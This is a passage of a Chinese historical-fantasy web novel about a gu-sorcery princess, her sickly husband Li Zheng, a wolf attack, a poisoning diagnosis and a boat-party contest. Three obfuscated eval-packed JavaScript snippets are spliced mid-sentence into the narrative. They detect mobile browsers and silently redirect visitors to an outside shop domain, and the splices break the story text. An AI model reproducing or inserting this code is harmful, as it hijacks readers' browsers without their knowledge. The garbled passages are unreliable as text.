“你与赵三打牌九,你不仅要输,还要尽力不被看出来地给他喂牌,好让他最后能赢。你哪是不会打牌?你是太会了。而你用来做筹码输给他的那个簪子,正是户部尚书赵肖之母寻了许久的。” “还需要我说更多吗?郡主殿下。” 她所“输”出去的东西,刚好都是人家想要的,完全投其所好,这难道是巧合吗?明显就是有预谋地送礼。 云归玉面色不虞:“你派人监视我?” 历铮摇摇头:“你是郡主,一举一动本就受人瞩目,有朋友看见了,然后来告诉我,这是再正常不过的事情。” “何况你既选择用这种方式,本就不怕被发现吧?” 这样的做法光明正大,未必不比偷偷摸摸好。 若是皇后派手下人去做,难免有拉拢朝臣之嫌,严重一点甚至能被扣上后宫干政的帽子。 可如果是像云归玉今日这样,那便不过小辈间的玩耍,赢了点彩头而已,拿回家去献给爹娘,那也是无可厚非的事情。 怎么能说是贿赂拉拢呢? 虽然有眼睛有脑子的都能明白是怎么回事,但在明面上就是没问题。 不过,这样做也并非万无一失,只要有心人知道了,完全有拿这事做文章的余地。 历铮的脸色也不好看,他道:“你想要为皇后和她肚子里的孩子拉拢大臣,可我历家却不能。郡主要干什么事,我无意干涉,但只求别连累我历家!” 云归玉漠然地说:“即便是送礼,我做的事,与历家何干?” 历铮拧眉道:“你嫁给了我,在别人眼里,做的事又如何会与历家无关?” “你既拿我历家挡灾,就不该再在这事上拖历家下水。郡主,做人不能如此贪心。” 云归玉面无表情,点头道:“好,本郡主答应你。” 她转身就走,一眼都没看历铮。 “你去哪?” “不劳七公子费心。” 历铮在原地等了一会儿,任由她逐渐走远。 他本不想管她。 可看她去的方向,分明不是家的方向,而是山里。 如今天色已晚,她要一个人进山? 8. 深山 稷山是盛京外城的一座孤山。 山峦轮廓苍翠,被落日渲染出一层金边,倦鸟归林,留下几声短促的啼鸣。 云归玉迎着西沉的暮色向上走,直至天边残霞将尽,才惊觉这山竟如此之高。 走了这么久,也才到半山腰上。 她不再往上走,而是拐个方向,进了山间密林里。 来此虽是一时兴起,却也有她的目的,那便是采虫。 幼时那般厌烦的事情,如今反倒成了她放松心情的方式之一。 所谓蛊术,其实也就是选蛊、练蛊和控蛊三步。 而选蛊的第一步,便是要收集各类虫蛇毒物。 以往采虫,她多是在皇城附近采,这座山倒是还没来过,或许会有不一样的收获。 她在不同的位置放了小糖块,等着虫子们闻着味聚集而来。 云归玉蹲在树下,等着她的猎物上钩,有些心不在焉。 她想着历铮的话。 他让她别拖历家下水。 可历家怎么样与她有何干系? 她云归玉又从来都不是什么德行很高的人。 云归玉看着脚下糖块处出现了虫群,她勾了勾嘴角,咬破了自己的食指,如玛瑙般深红的血珠很快涌了出来。 她翻转手指将伤口向下,滴在了虫群之中。 血色缓慢地蔓延,有些虫立马不动了,有些还在挣扎着扭动身子和虫肢,但很快,原本活跃如下雨时地上水珠飞溅的泥潭般的虫群,慢慢变成了一滩沉寂的黑色死水。 云归玉试了好几个地方,终于找出几只尚能存活的虫。 这些虫能够承受她血液中的毒,便可作为后续练蛊的虫源使用了。 她从腰包里掏出蚕丝手衣和虫袋,将虫体装进了虫袋。 今日没有带够工具,只能采些体型较小的虫类,像蛇、蜈蚣、蜘蛛这类却是不能了。 云归玉烧了手衣,准备打道回府。 只是天色已晚,她需要尽快下山,然后去买匹马,才能在宵禁前回到历府。 为了省时,她没有走上山时那条大路,而是走了一条小路。 小路上野草茂密,道路狭窄,人迹罕至。 忽然,她听到了一阵不寻常的低沉兽吼。 云归玉顿了步子。 那是……狼嗥。 若是一只还好对付,若是一群……那便麻烦了。 云归玉的神情渐渐凝重起来,她已看到树木掩映中密集窸窣的影子,那绝对不止一只。 她当机立断,运起轻功飞身上树。 站稳之后,立刻拿出装蛊虫的锦袋,向着狼群一抛。 然后从怀里摸出短笛放在嘴边,一阵凄厉婉转的笛声便响了起来。 要想大规模控蛊,音律控蛊是最好的。 只见那袋子里的蛊虫们密密麻麻地钻了出来,嗡嗡声不绝,飞向、爬向狼群。 那些蛊虫爬到了狼的身上,尾针刺入,尖牙咬下,毒液入体,群狼纷纷发出痛苦和愤怒的嚎叫。 云归玉立在树枝上,视线紧盯着下方,手指交错变换,笛声连绵不绝。 等蛊毒发挥作用,狼群全部倒下,她便可以下树离开。 只是…… 不知道她带的这些蛊虫,能不能毒死所有的狼。 罢了,哪怕最后还剩下一两只,她也能放手一搏。 一炷香的时间过去,笛声渐停,云归玉喘着气,向下看去。 狼已经全部倒下。 云归玉没有轻易下树,而是在树上又等了半柱香,确定不会有狼忽然回光返照暴起伤人,才从树上下来。 她不再停歇,飞速向山下跑去。 却在一片空地上,住了脚步。 有一只体型巨大,威风凛凛的独眼狼屹立着,它的左右,各有一只精壮凶狠的狼立着,宛如护法。 是狼王。 而且,是一只相当聪明的狼王。 方才她控蛊杀死那些狼的时候,这狼王连只影子都没见。 却原来是在她下山的必经之路上等着。 而此刻它呲着牙,涎液顺着利齿缓慢滴落而下。 云归玉脑门上冒出了细细密密的冷汗。 她离方才那片树林已经很远,此处是一片小空地,周围只有低矮灌木和草丛,并没有树可以上去躲了。 而她已经没剩多少蛊虫了。 且蛊虫的发作是需要时间的,就算她此刻控蛊,那三只狼也够在死之前把她撕碎。 但凡有利器或是火折子,她都不会如此为难。 云归玉攥着手中最后一个锦袋,一把打开。 这是她带在身上的最后的蛊虫了,她不再用短笛,而是运功控蛊。 同时拔腿就跑。 面对狼群,逃跑是最不明智的,因为很少有人能跑过它们。 可现在的她没有办法,只能尽量拖延时间,等待蛊虫起效。 身后狼群紧追不舍,云归玉已经能听到狼爪打在地面的声音,和近在咫尺的喘息。 来不及了,看来这一口必挨! 云归玉瞬间转身,抬起右臂,想要以右臂接下这一口。 废一只胳膊总比让它啃脖子好! 预料之中的疼痛并未到来。 云归玉双目圆睁,与狼王的头仅有一拳之隔,她心跳剧烈跳动,如鼓声咚咚,急速在她脑中敲击,外界其余声音变得如海水掩盖,一片模糊。 不远处似有细微的破风声,她听不真切。 回过神来的时候,三只狼竟已全部倒地不起。 三支箭,分别命中了三只狼的眼睛,喉咙,和胸口。 云归玉急促喘息几下,心跳声渐渐平息,那片蒙着脑子的海水退去,周遭一切声音渐渐清晰起来。 她缓缓回头,漆黑的双瞳里倒映出一个身影。 那人身跨骏马,手持弯弓,朝她驰来。 原来,方才她没听清的破风声,是他手中利箭离弦的“嗖嗖”声。 云归玉仅愣了一瞬,随即毫不犹豫掏出短笛开始鸣奏。 历铮还没来得及说话,就见有几只黑色的虫子朝他飞来。 “?” 他来不及质问,从马背上飞身而下,一拍马屁股,让它跑走,而后疾步后撤,与扑面而来的蛊虫拉开距离,而后抬手打出几道凌厉的真气,那几只飞虫便簌簌地落了下去,身体冒着烟,落在地上的时候,黄色的土变黑。 是极狠的毒物。 他看向对面的女人,声音冷的掉冰渣子:“这就是郡主对待救命恩人的方式?” 云归玉站在三只狼尸的中间,攥紧了拳头。 以历铮刚才所在的位置,一定看见她控蛊了! 他发现了! 怎么办?怎么样才能封口? 威逼?不行,蛊虫已经用光了,单论武功她不是历铮的对手。 利诱?不,历府并不比她郡主府缺钱。 云归玉眼睛红的吓人。 历铮第一次在她眼里看到这种眼神。 凶狠,毒辣,甚至还有一丝恐惧。 在沉默地对峙中,历铮皱眉思索,片刻之后,大致明白了原因。 良久,他终于开口:“当年在御宴上,我就已经知道,背后操控虫子攻击谢贵妃的人是你。” “当年我并没有告诉任何人,如今你又在怕什么呢?” 云归玉一愣。 “你……记得?” “郡主这般的人物,想忘记也难。” 早在大婚夜见她的那眼,他便已经认出来了。 那般美丽又狠毒的少女,很难不让他印象深刻。 历铮:“我虽有几分善心,却也不是什么都管。那时挡下你的蛊虫,不过是不想卷入皇宫命案,宫廷纠葛。至于你们的恩怨,我无意多管闲事。以前不会管,现在也不会管,只要不牵扯历家就好。” 云归玉沉默不语,紧握的拳头慢慢松开。 历铮见她已经冷静下来,眼中红意散去,恢复墨色凉玉般的清冷。 看来是不会再攻击他了。 “现在回府已经来不及了,去山脚找家客栈住吧。” 他吹了声口哨,雪稚从不远处跑过来,亦步亦趋地跟在历铮身边,走到了云归玉的身边。 春寒料峭,夜风携着山间湿气,吹得两人发丝微动。 历铮从马背的包袱里拿出一件披风递给她:“穿上。” 云归玉尚在走神,拿过衣物的时候眼神没有注意,碰到了历铮的手。 冰冷至极。 她皱了皱眉:“你有内力护体,为什么手如此冰凉?” 她很快又反应过来,是了,这人虽然武功高强,可其实是个不折不扣的病秧子,只是他平时的行为举止让人看不出来罢了。 历铮没说什么,只微一侧头:“上马。” “我坐后面。” 历铮对此并无异议,只提醒道:“那你待会抱紧点我,免得被颠下马去。” 他上了马,递给云归玉一只手,云归玉正要放上去,便听他道:“你不会趁机给我下蛊吧?” 他话虽如此问,却也没有把手收回。 云归玉将手搭上去,道:“你要真那么怕,大可以离我远点。或者也可以你自己骑着马一走了之。” “毕竟,你也知道我确实不是什么好人。” 历铮不置可否,微一用力,将云归玉拉上了马。 他正欲御马,却感觉到身上一暖。 那件他给云归玉的披风,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898003|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻正披在他的身上。 云归玉的声音自身后传来:“我坐后面,正是要你挡风的,这件披风多余了。” 历铮嘴角微微勾起。 她说自己不是好人,可事实上,又哪有她说的那般坏? 他从将手伸进包袱,拿出另一件披风,“那这件呢,也多余吗?” 云归玉:“……” 你有两件披风你不早拿出来? 她一言难尽地扯过披风,严严实实地裹在身上。 历铮一拉缰绳:“郡主,坐稳了。” “驾!” *** 两人到了山下,找了家客栈,要了两件上房,各自回房。 云归玉睡在客栈的木板床上,后背被硬硬的木板硌得生疼,但她太累了,终究还是眼皮一沉,睡了过去。 半梦半醒之间,她恍惚梦到了一些光怪陆离的景象。 她只有约莫五六岁的年纪,穿着粗布短打,衣服上东一块泥西一块灰,迈着小短腿穿梭在盛京坊市的街道上,手上紧紧捏着半块胡饼。 一块胡饼要两文钱,而她行乞三日,也就得了一文钱。 她不像有的乞儿那样嘴甜,只会生硬地重复“行行好”,那人扔了粒铜板到她碗里,叹息着说了一句:“乞儿,你这样是讨不到钱的。” 她抬头去看,说话的人一双草鞋,穿着灰白布衣,头上没有头发,看着也不像是有钱的人。 她歪了歪头,投去了疑问的目光。 那人竖起一只手掌,念了一句“阿弥陀佛”,道:“别的乞儿,目光都是楚楚可怜,而你的双眼里,满是不服。” 她并不明白,只抿了唇道了谢,收起了那仅有的一文钱。 她不知道以后还有没有这种运气,能够三日就讨到钱,于是半块胡饼她咬了三口,然后塞在了衣襟里,想着剩下的明日再吃,蜷缩着睡在了某个草垛里。 画面一转,她站在某个墙角,手中紧紧捏着一枚金叶子。 下一瞬,那金叶子便被另一个少年乞儿抢走了。 她很愤怒,那明明是她的东西! 于是立马扑了上去,又踢又打:“还给我!” 可那少年比她高大得多,轻易就将她提起来,笑的嚣张:“谁说这是你的?这明明是我的东西。” 她在他手里扑腾,挣脱不得,最后抓住他的手臂,一口咬了上去! 那少年吃痛甩开了他,表情变得凶恶可怖,捏紧拳头就要往她脸上招呼! 她躲闪不及,只得闭了眼睛。 疼痛并没有到来,她闻到了一阵清香,她没有读过书,不知如何形容,只觉得那香味让她想到草木、阳光。 很是好闻。 她睁开了眼睛,寻找香气的来源。 那是一个高大的男人,文武袖,银冠玉带,他脸上带着笑,却是毫不温柔地提起了那少年乞儿的后领子,就像他刚才对她做的一样。 而她则正被他单臂护在身后。 “以大欺小,以男欺女,以强欺弱。小子,做人可不能这样。” 语毕,他就要转过头来对她说话。 云归玉倏然睁开了眼睛。 梦醒了。 可她并没有忘记梦中的画面。 那个小女孩儿就是幼时的她自己,而那个高大男人…… 虽然她只看到了侧脸,但是她知道,那人是历铮。 云归玉揉了揉额角。 她怎会做这种梦? 大抵是因为上次在街上撞见他救那个小乞丐。 云归玉缓缓坐起身来,把头埋进了膝盖。 或许在幼时,她真的期待过,有人能从天而降,救她于水火。 可惜,她没有遇到过。 后来她以为救她的那个人,把她送进了人牙子的手中。 而现在的她,早已明白任何事情都得靠自己,期盼别人来救的,都是软弱无能之辈。 醒来之后,她已是再难入睡,云归玉索性披了衣服,摸进了隔壁历铮的房间。 床上的人姿态安然,眉目舒展。 历铮这人,分明自小锦衣玉食,前呼后拥,照理说该有些公子哥儿的毛病,却似乎哪里都能睡得好,完全不介意客栈的简陋条件。 云归玉走到床边,蹲下身。 这是个下蛊的好机会。 她缓缓伸手,最终,也只是摸上了他的脉搏。 白日她之所以会对他出手,是因一时情绪不稳。 她虽然不择手段,却也算恩怨分明。 历铮那种身体状况,除了得病之外,还有一种可能,那就是中毒。 云归玉凝神细细摸脉,眉头越蹙越紧。 “你在做什么?” 男人的声音自头顶响起。 9. 表哥 云归玉感受到手下的腕子动了动,抬起头来。 历铮已经坐了起来,正眼睛沉沉地看着她。 房间里没有烛火,只有窗外几缕月光透进,映照出他眼底的探究和警惕。 云归玉收了手,淡声道:“给你把脉。” “把脉?”历铮懒散靠在床上,双手抱臂:“我竟不知郡主还精通岐黄之术?” 云归玉看出了他的不信任,也许是因为她当时在狼王死后对他出手。 不过她不屑于解释,只说出自己的看法:“我只精通毒术。” 历铮缓缓坐直,眯了眯眼。 今日救她之时,他确实看到她以音御蛊。 苗疆蛊术,他有所听闻。 “郡主,你知道自己在说什么吗?” 云归玉不顾他的警告,一锤定音道:“事实上,你就是中了毒。” 历铮沉默不语。 半晌,他道:“即使如此,也不劳郡主费心了,太医医正都没办法的事,郡主又有何办法?” 云归玉:“懂毒的不一定懂医,但懂医的却多少需要懂毒,太医医正难道没诊出来你是中毒吗?” “就算不知解法,但中毒和得病还是能区分的开吧。他若不是学艺不精、沽名钓誉、名不副实之辈,那他就是故意的。” 云归玉心内已经开始猜测。 让历铮短命,谁会获得最大的好处? 又是谁,能够让太医医正不顾历家的权势,而故意诊不出真实的情况? 云归玉心里浮现出几个名字和各自的可能性,最终还是挥散了脑中想法。 不管如何,这些终究只是猜测,没法定论。 而且,这和她没有多大的关系。 历铮救了她,她出于偿还的目的,可以试着帮他研究一下身上的毒,寻找解毒之法,多余的,她就懒得管了。 云归玉起身点了灯,坐在桌边,喝了一口已经冷掉的茶:“我只是不想欠别人的。” 历铮扬了扬眉:“你是说你想报恩?可你不久前还想对我下蛊。” 云归玉无言以对。 历铮:“好吧,那郡主可有诊出是何毒,此毒又有何解了?” 云归玉抿唇:“还未,需要时间,也需要你的配合。” 历铮叹了口气:“郡主,时候不早了,你还是回去休息吧,记得把烛火熄了。” 云归玉:“……” 头一次,她想用毒术救一个人而不是杀人或者威逼,这个人还不领情。 云归玉刷地站起,转身大步走到门口,一顿,又折返回去,吹灭了油灯。 *** 第二日,历铮给云归玉叫了辆马车,自己骑马直接去上朝去了。 云归玉在客栈随便吃了点东西,便回历府补觉去了。 再醒来时,已是接近午时。 她正吃着午膳,管家徐叔前来禀告:“夫人,有客来访。” 云归玉疑惑:“找历铮的?怎么这个时间过来?客人不知道他此刻该上完早朝,在衙门理事吗?” 徐叔:“是云家的大公子,来找夫人的。他来时夫人正在休息,我料想夫人疲惫,便不曾打扰夫人安眠。至此时,他已经等了一个时辰。” 云归玉看了徐叔一眼,颇有深意地点点头。 不想打扰她休息,就让云家人等了整整一个时辰? 到底是历家人啊,就是有不怕得罪权贵的底气。 云家大公子。 云贺轩,皇后兄长的大儿子,算是她的表哥。 不过,他来找她干什么? 她对云家的人,除了皇后之外,均无好感。 但名义上云家就是她的娘家,若是避而不见,倒也落人口舌。 云归玉还是穿戴齐整,去前厅见客。 前厅两侧的客座旁,有一人身着蓝白色长衫,负手而立。 听见脚步声,他转身看见云归玉,展颜一笑:“玉儿表妹,可真是千呼万唤始出来啊,叫表哥好等。” 云归玉听见他的称呼,不免一阵恶寒,鸡皮疙瘩掉一地。 她面上不显,一边往主位走去,一边不咸不淡道:“表哥怎么不坐?” 云贺轩无奈一笑:“等玉儿表妹等得太无趣了,便多喝了些茶水,有些腹胀,站了一会儿,倒是好多了。” 云归玉在上首两把椅子中选了把离他远的坐下来。 云贺轩见她落座,这才也坐下。 云归玉掀起眼皮,终于愿意正眼看他:“表哥来此有何贵干?” 云贺轩:“是奶奶想你了,自你新婚之后,奶奶一直等着你去看她,这么久你都没去,她等的有点急了。” 云归玉险些笑出声。 她可没有忘记母亲刚找到她时对她说的话。 云贺轩的爷爷奶奶,也就是她的外公外婆。 那一对儿找人杀掉她亲生父亲,然后又在她出生后把她丢弃的老夫妻。 虽然在血脉上,她确实是云家的外孙女,但可惜,在她眼里,他们与仇人无异。能维持表面的体面,也不过是看在母亲的面子上罢了。 何况她与他们并未相认,在云家老夫人眼中,她大概只是个莫名得了皇后青眼的宫女罢了。 她后来又跟着皇后回家省过一次亲,那一家人明摆着看她不起。 现在说想她? 不知道那老太婆吃错了什么药,又或者另有什么目的。 云归玉意兴阑珊地打了个哈欠,挥了挥手:“知道了。表哥既然话已带到,就请自便,我这儿就不留你吃饭了。徐叔,送客。” 云贺轩忙道:“玉儿且慢!表哥还有东西要给你。” 说罢,他拿起桌上的锦盒,递给了云归玉。 “听闻玉儿表妹喜爱丹青,我便寻了这一幅万里青山图,希望你喜欢。” 云归玉打开盒子的手一顿。 她又想笑了。 喜爱丹青的根本就不是她。 她手下掌情报的人告诉过她一则情报,这幅万里青山图,是户部尚书丁巡找了很久的。 云家这是又想打发她去送礼笼络朝臣呢。 云归玉盯着锦盒,想起来历铮说过的话。 良久,她把锦盒反手一推:“好意心领了,不过表哥大概是记错了,我喜爱青山是真,但从未说过喜欢丹青,表哥还是自己收回,或者另寻有缘人吧。” 云贺轩那一直笑意盈盈的脸终于一僵。 云归玉起身,经过云贺轩时,轻飘飘道:“表哥啊,借花献佛的事本郡主不想干,这礼你想送给谁,还是自己亲自去送更合适。” 云贺轩看着云归玉的背影,眼神渐渐冷了下来。 云归玉没再管他,而是溜溜达达去了厨房,吩咐道:“备两份午膳,装进食盒。” *** 历铮看完一册卷宗,揉了揉脖子。 几个手下勾肩搭背地出门,还不忘转头问一句:“老大,我们准备去春海楼吃一顿,要一起吗?” 说着反应过来什么似的:“哦我差点忘了,老大的夫人每天都回来给他带饭,是属下多问了。” “哈哈哈哈老大肯定要等夫人送的午膳的,是吧老大!” 历铮:“我便不去了,你们去吧,吃好喝好,回来继续好好干活。” “是,老大!” 手下们走远了,衙门内一片安静。 历铮又看了会儿卷宗,放下时,抬眼望向院中日晷。 距离她惯常来的时间已经过了一炷香,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898004|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女人并没有来。 她是终于玩腻了? 历铮垂下眸,说不上来什么感觉。 忽然,他瞥见一抹烟粉裙衫。 他猛地抬起头来,带了点他自己都说不清道不明的期待。 只是在看清来人的那一刻,他眼中波澜瞬间归于平静。 不是她。 是她的侍女碧溪。 碧溪屈膝行礼道:“郡马爷,我家郡主今日有事,由我来给您送饭。” 历铮淡淡点了个头。 看着侍女碧溪将食盒展开,一一布在桌面,他内心相当复杂。 第一天,菜里多放了很多醋,第二天,菜里多放了很多糖,第三天、第四天、第五天……日复一日,总之他酸甜苦辣咸都尝过了。 纵使每次他都浅尝辄止,但他还是忍不住内心庆幸,他的味觉没有失灵,真是上天庇佑。 这次又是什么? 历铮犹豫了一瞬,还是下了筷子。 食物入口,他嚼了两下,嘴角一顿。 这次的饭食,竟然没有“加料”,是正常的味道。 *** 历铮回府时,云归玉正躺在院中摇椅上,捧着本书看。 “在看什么?”他弯腰一瞧,看清了书名,“‘行医杂记’,……医书?” 云归玉眼睛仍旧盯着书,翻过一页,一边道:“我一直以来学的都是毒,对医书涉猎甚少。你的身体虽说是中毒,却也需辅以一定的医理,才能更好地对症下药。” 历铮面色复杂:“你……其实不必如此。” 云归玉终于抽空从书里抬头看了他一眼:“我说过,我不喜欢欠别人的。” 除此之外,也因皇后的吩咐。 她需要与历铮拉进关系,帮忙治毒,便是一个很好的借口。 历铮无奈,见劝不动她,也便不劝了,左右没过多久她便会自己放弃了。 以前也有很多自认医术高明的人,有太医,有江湖游医,甚至还有避世不出的医道高手,一开始皆是信誓旦旦地保证要医好他,没过多久,便也都偃旗息鼓了。 除了神医沈长清之外,他们几乎是把全天下能找的医道高手都找了,但都无济于事。 爹爹和五姐都把沈长清当做最后的希望,可他已经认命了。 有些事情,强求无果,倒不如顺其自然。 历铮摇摇头,而后随意一瞥,发现云归玉的脚边还放着个书篓子,里面堆满了书,他打眼一扫,便知全是医书。 他玩笑般道:“这么多,等你看完,我估计早变成一把白骨了。” 云归玉轻啧一声。 “瞧不起谁呢?这些,我十天就能看完。” 她有一个能力,那便是过目不忘。 当初进宫没多久,云妃便教她读书识字,她开蒙晚,但学得快,很快便学有所成,谈论各家经典,皆能对答如流。 那时云妃一脸感慨。 云家老爷子也有此般能力,所以才能高中状元,一举挽救已经快要没落的云家。 可他却逐渐被权欲迷了眼,看不起寒门,只一心结交世家大族,连女儿的婚事都能当做筹码。 云妃说起这些的时候,有怨,却没有恨。 云归玉低头不语,想到了自云妃进宫后水涨船高、愈发显赫的云家,又想到了那个孤独死去的男人,她那未曾谋面的生父。 两相对比,何其残忍,又何其可笑。 云归玉闭了闭眼,清除脑中思绪,再睁眼时,已是一片漠然。 她合上书准备去沐浴,忽又想起什么,道:“对了,明日我有事,午膳还是碧溪来送,酉时也不来衙门接你了。” 历铮嘴角的笑意淡去。 “知道了。” 10. 琴箫合奏 曲江之上,有一只华丽的大船。 船身镶金嵌玉,阳光洒在江面上,波光粼粼,与船身相映成辉。 此船共有七层,每一层都铺满了不同的鲜花,铜炉里燃着檀香,整座船香气弥漫。 每上一层,可容人数,第一层能容三十人,第二层容二十人,直至第七层,则只能容五人。 今日花船之宴,三位公主都没有来,云归玉身为郡主,理所当然地坐在了最高层。 桌子上是琳琅满目的珍馐佳肴,甜果点心。 云归玉晃了晃琉璃酒杯中的玉液,垂眸看着下六层的人情百态。 有贵女小姐们三三两两地聚在一起,手里拿着自己绣的女红互作比较,掩袖娇笑; 有才子提笔写诗,大着胆子送给心怡女子,希望博得佳人一笑; 有不同身份的人聚在一起高谈阔论,兴之所至,还会吟诗一首。 极尽热闹。 唯有她所在的这一方长桌,像是一座孤岛,与底下的一切欢声笑语皆无干系。明明能将一切声象尽收眼底,却又有种与世隔绝的安静。 偶尔有人会来敬酒,打破这份寂静,但也只是客套而已,很快便做鸟兽散。 她们结伴走下旋梯,闲言飘入云归玉的耳中。 “郡主好美,可是也好清冷,总觉得难以接近。” “什么郡主,她初时不过后宫一小宫女而已,真实出身比咱们低多了。” “啊?可她不是云家的小姐吗?” “远房亲戚,估计只是看皇后面子上认个亲罢。” “碧溪,倒酒。” 无人应答。 云归玉转头一看,才想起自己今日换了侍女。 新侍女沉默着给她倒了酒。 云归玉撑着额角倚在桌上,忽然觉得有些无趣。 还不如去给历铮送饭有意思,起码能欣赏到他忍受奇怪味道时的表情。 落日沉江,给远处景色镀上一抹金红的色彩。 云归玉起身,准备走了。 侍女开口:“你等的人还没来。” “既然没来,那便算了,他运气挺好,能捡回一条命。” 侍女不太高兴。 云归玉瞥她一眼:“行了,别拉着个脸,他没来我也会付你工钱的。” 侍女这才喜笑颜开,跟着云归玉下了旋梯。 走到第三层的时候,她看着中央方台上挂着一件金丝绣凤、流光溢彩的披风。 她脑中自然而然地浮现出皇后那张雍容华贵的脸。 这件披风,很适合母亲。 云归玉顿住了步子。 侍女顺着她的眼光看去,道:“那应该是‘邀月逐星会’的彩头,拔得头筹者可以带走那件披风。” “或许,我们可以先不回去了。”云归玉缓缓勾起了一抹笑容。 那件彩头,她势在必得。 *** 第六层,一个不太起眼的角落里,历铮和孟煊相对而坐。 历铮撑着下巴,兴致缺缺道:“我今日还有公务,你拉着我上这儿来干嘛?” 孟煊一手拿酒杯,一手摇着折扇,闻言笑道:“当然是来凑热闹啊。花船盛宴可是三年一度的盛会,你以前不是每次都来吗?” “那公务明日再做又怎么了?你们薛尚书不会说什么的,顶多罚你一天的俸禄,你历七是那交不起的人么?” 历铮的确向来是个有热闹必凑的人。 他生命注定短暂,总想用十年的时间干完别人一辈子干的事,看完别人一辈子看的景,这样才算不枉此生。 但是这花船宴他已不是第一次参加了,早过了新鲜劲儿了。 有这功夫他还不如回家看看云归玉在干什么。是不是还在钻研那些医书?哦不对,她说她今日有事,也许并没有在家。 他拿起酒杯轻啜一口,准备待一会儿就走。 旁边孟煊忽然将折扇一合,表情欲言又止,最后问了一句:“崇渊,你和仪和郡主,感情不好吗?” 历铮皱了皱眉。 他怎么会突然问这个? 况且就算要关心他的夫妻感情状况,一般人也是问“你和她感情好不好”,而不是直接问“你和她感情不好吗”。 不过他还记得自己和云归玉的约定,在外人面前要装作感情不错的样子,不说举案齐眉,至少也要相敬如宾。 于是历铮回答道:“我和郡主感情很好。” “那郡主为什么要参加那个?”孟煊用折扇一指下面的第三层。 历铮往他指的地方看去。 那层此刻人声鼎沸,热闹非凡,正在举办一场盛大的活动。 孟煊道:“花船宴每年都会设一场盛会,今年的盛会名叫‘邀月逐星会’,似乎是专为已经成对或即将成对的有情人而设的,以一男子和一女子二人为一队,经过五个关卡,最先完成最后一关,拔得头筹者,便可获得彩头。” 历铮总算是知道孟煊为什么会那么问了。 只因他一眼便看到了云归玉的身影。 这种有情人一起参与的比赛,她去参赛了,而他这个丈夫却毫不知情,这在别人眼中,可不就是夫妻感情不好? 不过,好在她虽然没有叫他,倒也没有找别人。 她已经去到了第三关,规定是男子需要吃下女子蒙眼喂的一盘子点心。 只见云归玉自己蒙了眼坐下,拿起盘中点心往天上一扔,随即拿起一根筷子,精准地将那几块点心穿成一串,迅速而又不失优雅地吃完了,而后又在众人的喝彩声中匆匆去往下一关。 历铮:“……” 孟煊都忍不住啪啪地拍起手来:“仪和郡主可真是妙人啊。”下一刻,他的嘴便被一块肥得流油的红烧肉堵住了。 历铮放下筷子,面无表情道:“吃你的肉。” “好歹她没有找别的男子,不然第二天你俩的名字就得出现在街头巷尾的各种闲言碎语中了。” 孟煊咽下红烧肉,用锦帕擦了嘴,意味深长道:“不过既然你们感情很好,那仪和郡主来了花船宴,没跟你说吗?你们夫妻俩怎么不一起来?” 历铮淡定道:“她昨日便同我说起了,只是我公务繁忙,本不打算来,还不是被你强行拉来的。” 孟煊一摊手:“行吧。” 第三层。 云归玉已经来到了最后一关,这一关要求的是男女合奏,且需用两种不同种类的乐器。 云归玉略微皱了眉头。 她没有搭档。 也就是说,她需要一个人同时演奏两种不同乐器,且还需要是不同种类。 她会的乐器是笛和箫,且不说她只有一张嘴,无法同时演奏笛和箫,就哪怕她真能,那笛和箫也都属于“丝竹管弦”里的“管”。 她瞥见身后,已经有其他人也快到这一关了,她必须要抓紧。 云归玉拿了一支箫和一把琴,想要硬着头皮上。 下面的看客们见此,纷纷诧异。 “郡主这是准备,单手吹箫单手抚琴?” “啊?这是能做到的吗?” “就算能做到,这曲子应该也没法儿听吧?” 正在众人等着看好戏时,忽有一个身影飞身而下,轻盈落在了台上,道:“娘子,说好的等我来一起呢,怎么你自己就先开始了?” 云归玉摸在琴弦上的手一顿,看向来人,一时有些怔愣。 他不应该还在衙署办公吗,怎会在这里? 但下一刻,她立马心领神会,笑道:“是七郎你来的太迟了。我可以等你,比赛可等不了你。” “那个人是历家七公子?忠武王的幺子?” “不是说他体弱多病吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898005|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?他从那么高的地方飞下来,一点事没有?” “体弱多病也不耽误他武功高强啊,我曾在街上见过他一边吐血一边揍人呢!” 历铮在古琴面前坐下,手指拂过七根琴弦,发出一阵弦音。 云归玉站在他身旁,擦了擦手中玉箫。 “请二位才子佳人选曲。”品评乐师向两人示意,台子正中的长桌上,摆着排成一列的不同曲谱。 眼前共有五张木牌,上面写着不同的曲名。 云归玉眼睛一一掠过木牌。 前四首都是缠绵的爱情故事,只有最后一首《将军出塞》,讲的是将军出征,女子思念的故事。 这是首相比其他几首来说,多了几分豪迈。 她寻思她和历铮并没有什么男女之情,若是演奏前面那几首,估计会显得不伦不类。 